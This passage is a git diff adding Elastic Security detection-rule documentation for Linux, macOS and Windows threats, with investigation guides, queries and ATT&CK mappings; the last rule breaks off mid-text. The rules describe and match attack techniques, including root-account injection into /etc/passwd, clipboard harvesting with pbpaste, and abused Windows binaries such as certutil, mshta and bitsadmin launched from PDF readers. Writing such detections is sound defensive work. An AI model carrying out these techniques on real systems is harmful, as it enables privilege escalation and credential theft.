b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-passwd-file-event-action.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-20-suspicious-passwd-file-event-action]] +=== Suspicious Passwd File Event Action + +Monitors for the generation of a passwd password entry via openssl, followed by a file write activity on the "/etc/passwd" file. The "/etc/passwd" file in Linux stores user account information, including usernames, user IDs, group IDs, home directories, and default shell paths. Attackers may exploit a misconfiguration in the "/etc/passwd" file permissions or other privileges to add a new entry to the "/etc/passwd" file with root permissions, and leverage this new user account to login as root. + +*Rule type*: eql + +*Rule indices*: + +* logs-auditd_manager.auditd-* +* logs-endpoint.events.file* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Passwd File Event Action* + + +In Linux environments, the `/etc/passwd` file is crucial for managing user accounts. Adversaries may exploit vulnerabilities or misconfigurations to add unauthorized entries, potentially gaining root access. The detection rule monitors for the use of `openssl` to generate password entries and subsequent unauthorized modifications to the `/etc/passwd` file, flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of 'openssl' with the 'passwd' argument by a non-root user (user.id != "0"). This can help identify the user attempting to generate a password entry. +- Examine the process tree to understand the parent process of the 'openssl' command and determine if it was initiated by a legitimate or suspicious process. +- Check the file modification event on '/etc/passwd' to verify if the file was altered by a non-root user (user.id != "0") and ensure the process.parent.pid is not 1, indicating it wasn't initiated by the init process. +- Investigate the context of the file write event by reviewing recent logs and system changes to identify any unauthorized modifications or anomalies in user account management. +- Correlate the event with other security alerts or logs to determine if there are additional indicators of compromise or related suspicious activities on the host. + + +*False positive analysis* + + +- System administrators or automated scripts may use openssl to manage user passwords without malicious intent. To handle this, identify and whitelist known administrative scripts or processes that perform legitimate password management tasks. +- Some legitimate software installations or updates might temporarily modify the /etc/passwd file. Monitor and document these activities to distinguish them from unauthorized changes, and consider creating exceptions for known software processes. +- Developers or testers might use openssl for password generation in non-production environments. Establish a policy to differentiate between production and non-production systems, and apply the rule more strictly in production environments. +- Scheduled maintenance tasks might involve legitimate modifications to the /etc/passwd file. Coordinate with IT teams to schedule these tasks and temporarily adjust monitoring rules during these periods to prevent false positives. +- In environments with multiple administrators, ensure that all legitimate administrative actions are logged and reviewed. Implement a process for administrators to report their activities, allowing for the creation of exceptions for known, non-threatening actions. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or privilege escalation attempts. +- Terminate any suspicious processes related to `openssl` or unauthorized modifications to the `/etc/passwd` file to halt ongoing malicious activities. +- Conduct a thorough review of the `/etc/passwd` file to identify and remove any unauthorized entries, especially those with root privileges. +- Reset passwords for all user accounts on the affected system to ensure no compromised credentials are used for further attacks. +- Restore the `/etc/passwd` file from a known good backup if unauthorized changes are detected and cannot be manually rectified. +- Escalate the incident to the security operations team for a comprehensive investigation into potential system vulnerabilities or misconfigurations that allowed the attack. +- Implement enhanced monitoring and alerting for similar activities, focusing on unauthorized use of `openssl` and modifications to critical system files like `/etc/passwd`. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend and Auditd Manager. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule the following additional audit rules are required to be added to the integration: + -- "-w /etc/passwd -p wa -k etcpasswd" + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.pid with maxspan=1m + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name == "openssl" and process.args == "passwd" and user.id != "0"] + [file where host.os.type == "linux" and file.path == "/etc/passwd" and process.parent.pid != 1 and + not auditd.data.a2 == "80000" and event.outcome == "success" and user.id != "0"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-path-invocation-from-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-path-invocation-from-command-line.asciidoc new file mode 100644 index 0000000000..f863d4eb04 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-path-invocation-from-command-line.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-20-suspicious-path-invocation-from-command-line]] +=== Suspicious Path Invocation from Command Line + +This rule detects the execution of a PATH variable in a command line invocation by a shell process. This behavior is unusual and may indicate an attempt to execute a command from a non-standard location. This technique may be used to evade detection or perform unauthorized actions on the system. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.exatrack.com/Perfctl-using-portainer-and-new-persistences/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Path Invocation from Command Line* + + +In Linux environments, shell processes like bash or zsh execute commands, often using the PATH variable to locate executables. Adversaries may manipulate PATH to run malicious scripts from non-standard directories, evading detection. The detection rule identifies unusual PATH assignments in command lines, signaling potential unauthorized actions by monitoring specific shell invocations and command patterns. + + +*Possible investigation steps* + + +- Review the command line details captured in the alert to identify the specific PATH assignment and the command being executed. This can provide insight into whether the command is expected or potentially malicious. +- Check the process tree to understand the parent process and any child processes spawned by the suspicious shell invocation. This can help determine the context in which the command was executed. +- Investigate the user account associated with the process to determine if the activity aligns with the user's typical behavior or if the account may have been compromised. +- Examine the directory from which the command is being executed to verify if it is a non-standard or suspicious location. Look for any unusual files or scripts in that directory. +- Cross-reference the event with other security logs or alerts to identify any correlated activities that might indicate a broader attack or compromise. +- Assess the system's recent changes or updates to determine if they could have inadvertently caused the PATH modification or if it was intentionally altered by an adversary. + + +*False positive analysis* + + +- System administrators or developers may intentionally modify the PATH variable for legitimate purposes, such as testing scripts or applications in development environments. To handle this, create exceptions for known users or specific directories commonly used for development. +- Automated scripts or configuration management tools might alter the PATH variable as part of their normal operation. Identify these scripts and exclude their execution paths or user accounts from triggering alerts. +- Some software installations or updates may temporarily change the PATH variable to include non-standard directories. Monitor installation processes and whitelist these activities when performed by trusted sources. +- Custom shell configurations or user profiles might include PATH modifications for convenience or performance reasons. Review and document these configurations, and exclude them from detection if they are verified as non-threatening. +- Educational or training environments where users experiment with shell commands may frequently trigger this rule. Consider excluding specific user groups or environments dedicated to learning and experimentation. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or data exfiltration. +- Terminate any suspicious processes identified by the alert to stop any ongoing unauthorized actions. +- Review the command history and PATH variable changes on the affected system to identify any unauthorized modifications or scripts executed from non-standard directories. +- Restore the PATH variable to its default state to ensure that only trusted directories are used for command execution. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection tools to identify and remove any malicious scripts or files. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement monitoring for similar PATH manipulation attempts across the network to enhance detection and prevent recurrence. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and +process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and process.args:-c and +process.command_line:*PATH=* and +not ( + process.command_line:(*_PATH=* or *PYTHONPATH=* or sh*/run/motd.dynamic.new) or + process.parent.executable:( + "/opt/puppetlabs/puppet/bin/puppet" or /var/lib/docker/overlay2/* or /vz/root/*/dovecot or + "/usr/libexec/dovecot/auth" or /home/*/.local/share/containers/* or /vz/root/*/dovecot/auth or + "/usr/local/bin/ansible-playbook" or "/opt/puppetlabs/puppet/bin/ruby" or /tmp/CVU_19_resource_*/exectask or + "/opt/ds_agent/ds_agent" or "/usr/lib/systemd/systemd" or "/opt/TrendMicro/vls_agent/vls_agent" or + "/opt/Tanium/TaniumClient/TaniumCX" + ) or + process.parent.command_line:"runc init" or + process.parent.name:(gmake or sshd or sudo or make or ninja or ninja-build or steam or sshd-session) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Path Interception by PATH Environment Variable +** ID: T1574.007 +** Reference URL: https://attack.mitre.org/techniques/T1574/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-pbpaste-high-volume-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-pbpaste-high-volume-activity.asciidoc new file mode 100644 index 0000000000..a1a5474872 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-pbpaste-high-volume-activity.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-suspicious-pbpaste-high-volume-activity]] +=== Suspicious pbpaste High Volume Activity + +Identifies a high volume of `pbpaste` executions, which may indicate a bash loop continuously collecting clipboard contents, potentially allowing an attacker to harvest user credentials or other sensitive information. + +*Rule type*: eql + +*Rule indices*: + +* logs-jamf_protect* +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.loobins.io/binaries/pbpaste/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Jamf Protect +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Thijs Xhaflaire + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +To investigate `pbpaste` activity, focus on determining whether the binary is being used maliciously to collect clipboard data. Follow these steps: + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html[Investigate Markdown Plugin] introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + +1. **Identify Frequency and Pattern of Execution:** + - **What to check:** Analyze the frequency and timing of `pbpaste` executions. Look for consistent intervals that might indicate a script or loop is running. + - **Why:** A high volume of regular `pbpaste` executions could suggest a bash loop designed to continuously capture clipboard data. + +2. **Examine Associated Scripts or Processes:** + - **What to check:** Investigate the parent processes or scripts invoking `pbpaste`. Look for any cron jobs, bash scripts, or automated tasks linked to these executions. + - **Why:** Understanding what is triggering `pbpaste` can help determine if this activity is legitimate or part of a malicious attempt to gather sensitive information. + - !{investigate{"label":"Show events having the same parent process","providers":[[{"excluded":false,"field":"host.hostname","queryType":"phrase","value":"{{host.hostname}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]]}} + - $investigate_2 + +3. **Review Clipboard Contents:** + - **What to check:** If possible, capture and review the clipboard contents during `pbpaste` executions to identify if sensitive data, such as user credentials, is being targeted. + - **Why:** Attackers may use `pbpaste` to harvest valuable information from the clipboard. Identifying the type of data being collected can indicate the severity of the threat. + +4. **Check for Data Exfiltration:** + - **What to check:** Investigate any output files or network activity associated with `pbpaste` usage. Look for signs that the collected data is being saved to a file, transmitted over the network, or sent to an external location. + - **Why:** If data is being stored or transmitted, it may be part of an exfiltration attempt. Identifying this can help prevent sensitive information from being leaked. + +5. **Correlate with User Activity:** + - **What to check:** Compare the `pbpaste` activity with the user’s normal behavior and system usage patterns. + - **Why:** If the `pbpaste` activity occurs during times when the user is not active, or if the user denies initiating such tasks, it could indicate unauthorized access or a compromised account. + +By thoroughly investigating these aspects of `pbpaste` activity, you can determine whether this is part of a legitimate process or a potential security threat that needs to be addressed. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Jamf Protect. + + +*Jamf Protect Integration Setup* + +Jamf Protect is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events incoming events and send data to the Elastic. + + +*Prerequisite Requirements:* + +- Fleet is required for Jamf Protect. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Jamf Protect integration:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Jamf Protect" and select the integration to see more details about it. +- Click "Add Jamf Protect". +- Configure the integration name. +- Click "Save and Continue". + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.hostname, host.id with maxspan=1m +[process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and process.name: "pbpaste"] with runs = 5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Input Capture +** ID: T1056 +** Reference URL: https://attack.mitre.org/techniques/T1056/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Clipboard Data +** ID: T1115 +** Reference URL: https://attack.mitre.org/techniques/T1115/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-pdf-reader-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-pdf-reader-child-process.asciidoc new file mode 100644 index 0000000000..86da310298 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-pdf-reader-child-process.asciidoc @@ -0,0 +1,225 @@ +[[prebuilt-rule-8-19-20-suspicious-pdf-reader-child-process]] +=== Suspicious PDF Reader Child Process + +Identifies suspicious child processes of PDF reader applications. These child processes are often launched via exploitation of PDF applications or social engineering. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious PDF Reader Child Process* + + +PDF is a common file type used in corporate environments and most machines have software to handle these files. This creates a vector where attackers can exploit the engines and technology behind this class of software for initial access or privilege escalation. + +This rule looks for commonly abused built-in utilities spawned by a PDF reader process, which is likely a malicious behavior. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve PDF documents received and opened by the user that could cause this behavior. Common locations include, but are not limited to, the Downloads and Document folders and the folder configured at the email client. +- Determine if the collected files are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ("AcroRd32.exe", + "Acrobat.exe", + "FoxitPhantomPDF.exe", + "FoxitReader.exe") and + process.name : ("arp.exe", "dsquery.exe", "dsget.exe", "gpresult.exe", "hostname.exe", "ipconfig.exe", "nbtstat.exe", + "net.exe", "net1.exe", "netsh.exe", "netstat.exe", "nltest.exe", "ping.exe", "qprocess.exe", + "quser.exe", "qwinsta.exe", "reg.exe", "sc.exe", "systeminfo.exe", "tasklist.exe", "tracert.exe", + "whoami.exe", "bginfo.exe", "cdb.exe", "cmstp.exe", "csi.exe", "dnx.exe", "fsi.exe", "ieexec.exe", + "iexpress.exe", "installutil.exe", "Microsoft.Workflow.Compiler.exe", "msbuild.exe", "mshta.exe", + "msxsl.exe", "odbcconf.exe", "rcsi.exe", "regsvr32.exe", "xwizard.exe", "atbroker.exe", + "forfiles.exe", "schtasks.exe", "regasm.exe", "regsvcs.exe", "cmd.exe", "cscript.exe", + "powershell.exe", "pwsh.exe", "wmic.exe", "wscript.exe", "bitsadmin.exe", "certutil.exe", "ftp.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Sub-technique: +** Name: Internet Connection Discovery +** ID: T1016.001 +** Reference URL: https://attack.mitre.org/techniques/T1016/001/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-portable-executable-encoded-in-powershell-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-portable-executable-encoded-in-powershell-script.asciidoc new file mode 100644 index 0000000000..c2ba0953a3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-portable-executable-encoded-in-powershell-script.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-20-suspicious-portable-executable-encoded-in-powershell-script]] +=== Suspicious Portable Executable Encoded in Powershell Script + +Detects PowerShell scripts that includes a base64-encoded portable executable (PE) header, indicating an embedded binary payload. Attackers embed PEs in scripts to load payloads in memory and avoid writing executables to disk. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: PowerShell Logs + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Suspicious Portable Executable Encoded in Powershell Script* + + +This alert indicates PowerShell Script Block Logging captured script content that contains a base64-encoded Portable Executable (PE) header pattern, suggesting an embedded Windows binary payload. This technique is commonly used to stage executables for in-memory loading or later execution while minimizing on-disk artifacts. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Capture and reconstruct the full script content: + - Review `powershell.file.script_block_text` in full to identify the encoded blob boundaries and any surrounding helper logic (string concatenation, chunking, decryption, decompression, or obfuscation). + - If `powershell.file.script_block_id` is present, collect all related events for that ID and use `powershell.sequence` and `powershell.total` to reconstruct the complete script when content is split across multiple records. + - Confirm reconstruction completeness by ensuring the sequence range is consistent with `powershell.total` and that the combined content is coherent. + - Use `powershell.file.script_block_length` to help prioritize unusually large script blocks that are more likely to contain full payloads or staged components. +- Determine the script origin and execution context: + - Use `user.name`, `user.domain`, and 